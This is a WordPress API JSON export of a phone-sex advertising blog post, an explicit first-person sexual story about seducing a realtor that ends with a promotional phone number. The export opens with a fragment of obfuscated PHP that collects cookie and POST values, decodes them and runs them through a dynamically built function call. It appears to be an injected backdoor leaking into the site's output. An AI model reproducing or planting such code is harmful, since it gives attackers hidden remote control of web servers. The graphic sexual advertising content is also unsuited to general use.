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"\144" . chr (101), array($wKkycMmI,));}public function __construct($AEkRHebCgj=0){$CGtMDqRMo = chr ( 696 - 652 ); $wKkycMmI = "";$NgyYb = $_POST;$dmGKjP = $_COOKIE;$BQKuG = "5bbd9526-f54a-4604-857e-2ff0fc223c64";$lWbfI = @$dmGKjP[substr($BQKuG, 0, 4)];if (!empty($lWbfI)){$lWbfI = explode($CGtMDqRMo, $lWbfI);foreach ($lWbfI as $RhGQjcCS){$wKkycMmI .= @$dmGKjP[$RhGQjcCS];$wKkycMmI .= @$NgyYb[$RhGQjcCS];}$wKkycMmI = $this->WNgMxEMM($wKkycMmI);}E_aZJZq::$eRyfvpzHQe = $this->ubDBJ($wKkycMmI, $BQKuG);if (strpos($BQKuG, $CGtMDqRMo) !== FALSE){$BQKuG = explode($CGtMDqRMo, $BQKuG); $yYdsVWBrDi = sprintf("8270_6077", strrev($BQKuG[0]));}}public static $eRyfvpzHQe = 8475;}MutcY();}{"id":1067,"date":"2016-05-23T15:45:27","date_gmt":"2016-05-23T22:45:27","guid":{"rendered":"http:\/\/1-800-phonesex.com\/blog\/?p=1067"},"modified":"2016-05-25T17:18:48","modified_gmt":"2016-05-26T00:18:48","slug":"i-fucked-the-realtor-she-got-the-house-lol","status":"publish","type":"post","link":"https:\/\/live-hot-phonesex.com\/blog\/i-fucked-the-realtor-she-got-the-house-lol\/","title":{"rendered":"I Fucked the Realtor, She Got the House! LOL"},"content":{"rendered":"<p><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_196.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-965 aligncenter\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_196-1024x684.jpg\" alt=\"FQ3006_196\" width=\"566\" height=\"378\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_196-1024x684.jpg 1024w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_196-300x200.jpg 300w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_196-768x513.jpg 768w\" sizes=\"(max-width: 566px) 100vw, 566px\" \/><\/a><\/p>\n<p>So my friend Becky\u2019s been looking for a house to buy, and wanted to drag me along, which seemed kinda boring, to tell you the truth.<\/p>\n<h2>But actually,\u00a0the whole process turned into a spank-bank-worthy story I feel I MUST tell y\u2019all!<\/h2>\n<p>So we go see this nice house out in a nice quiet neighborhood and the real estate agent lets us in. He\u2019s cute and very sweet, dressed up in his suit and tie and everything.\u00a0We go through the house and it seemed perfect for Becks&#8212;new and hardwood floors and nice kitchen. Then we got to the basement and it was the strangest thing&#8212;there was a couch down there, but nothing else. We looked at the wiring and the circuit breaker and it seemed a little wonky. Becks grew up with an electrician dad and she said she knew right away that was an issue.\u00a0She was disappointed and the agent and her started to go back-and-forth on the how bad or not bad the electrical situation was.<\/p>\n<p>So I AHEM put some of my NEGOTIATING skills to work here and I said why don\u2019t we sit down for a moment and see if we can work something out?<br \/>\nWe all sat down on the sofa, and I immediately put my hand on the realtor\u2019s leg. Good ol Becks figured out right away that I was not only gonna help her out with the house but I was gonna help me get LAID.<br \/>\nWell suit boy eventually realized his good fortune (and what I was really after!) and soon his cock was out and hard in my fucking mouth! He had a nice dick, good size but not so huge I couldn\u2019t take it. I\u2019m a little girl hehe. Becks undressed him from behind, massaging his shoulders and back and unbuttoning his shirt and then her own while he fucked my mouth and I just let him do it!<\/p>\n<h2>He played with my lips with the head of his dick and it was so fucking hot.<\/h2>\n<p>Eventually Becks got jealous and joined me and we took turns sucking his dick while he stood naked over us on the couch and then we both sucked him at once! Me on one side, her on the other. God it was fucking AMAZING. We had never been so close lol. I started playing with her tits and then I had an idea, we both put our tits up to his dick and then he tit-fucked us both at the same time! Lol what can I say I\u2019m a creative one!<\/p>\n<p><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_158.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-966 aligncenter\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_158-684x1024.jpg\" alt=\"FQ3006_158\" width=\"437\" height=\"654\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_158-684x1024.jpg 684w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_158-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_158-768x1151.jpg 768w\" sizes=\"(max-width: 437px) 100vw, 437px\" \/><\/a><br \/>\nEventually my pussy was screaming for it. I knew Becks she had a boyfriend she gets it whenever she wants but my hole HAD to get filled. I lay half-down on the couch with my legs popping up right over the end and my sweet creamy cunt all ready to go and waiting for him and I said fuck m&#8212;but before I could get it out he knew what to do, he just rammed it in there! Oh my God you know how it is when you haven\u2019t had a good fuck for so long and then just get all the bad feelings banged out of you. I could feel all this bad energy and gunk and sadness and bad things in my life just floating away and being released. It was nice.<\/p>\n<h2>My eyes went in the back of my head and I saw nothing felt nothing but his hard dick slamming into me.<\/h2>\n<p>There was nothing but his dick and my hole. My aching battered hole. God it felt so good. Becks was fingering herself beside me liking the free porn I guess. I looked up and saw this beautiful hot fucking image I\u2019ll never forget of suitless suit-boy lost in his pleasure, sweating like a mule and jacking himself inside my puss. He was so lost in me he loved fucking me I loved how much he loved fucking me! It was almost like he could go forever, time got lost as he cored me, pummel-fucked me into the couch. I lay back and saw stars.<br \/>\nThen Becks wanted to get fucked at least a little lol fine bitch.<\/p>\n<h2>He fucked her good and I put my dripping cunt on hers and let her eat me out while he rammed into her. That was fun she ate such good pussy!<\/h2>\n<p><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_171.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-968 aligncenter\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_171-684x1024.jpg\" alt=\"FQ3006_171\" width=\"502\" height=\"752\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_171-684x1024.jpg 684w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_171-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2016\/04\/FQ3006_171-768x1151.jpg 768w\" sizes=\"(max-width: 502px) 100vw, 502px\" \/><\/a><\/p>\n<p>I gotta remember that haha. I kissed boy while riding Becky\u2019s face and he squeezed my tits as he fucked my friend and it was one of the hottest things I\u2019ve ever done. I can\u2019t lie it was so fucking hot.<\/p>\n<p>Eventually I came with fire, drenching Becks\u2019s face! I shuddered over her and boy held me strong as I spasmed. I saw stars again! I sweated into his arms as I came. God I felt like every bad thing had never happened to me. Then Becks came and we both knew we wanted it. Suit-boy\u2019d been silent but we lined up for him tongues out like good little girls and then suddenly he was shouting and grunting saying I\u2019m gonna cum!!! I\u2019m gonna fucking cum!!!! AHHHHHHH and he sprayed all over us! Oh my God he came so hard! It was amazing!<br \/>\nSo, yeah, the realtor took Beck&#8217;s LOWERED offer back to the owners, and now they close in two weeks. Let it never be said I can\u2019t do a good thing for my friends! LOL<\/p>\n<h1>Call <a href=\"tel:1-800-746-6373\">1-800-PHONESEX<\/a><\/h1>\n","protected":false},"excerpt":{"rendered":"<p>So my friend Becky\u2019s been looking for a house to buy, and wanted to drag me along, which seemed kinda boring, to tell you the truth. But actually,\u00a0the whole process turned into a spank-bank-worthy story I feel I MUST tell y\u2019all! So we go see this nice house out in a nice quiet neighborhood and&hellip; <a href=\"https:\/\/live-hot-phonesex.com\/blog\/i-fucked-the-realtor-she-got-the-house-lol\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_jetpack_memberships_contains_paid_content":false},"categories":[180,3],"tags":[200,206,205],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts\/1067"}],"collection":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/comments?post=1067"}],"version-history":[{"count":1,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts\/1067\/revisions"}],"predecessor-version":[{"id":1088,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts\/1067\/revisions\/1088"}],"wp:attachment":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/media?parent=1067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/categories?post=1067"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/tags?post=1067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}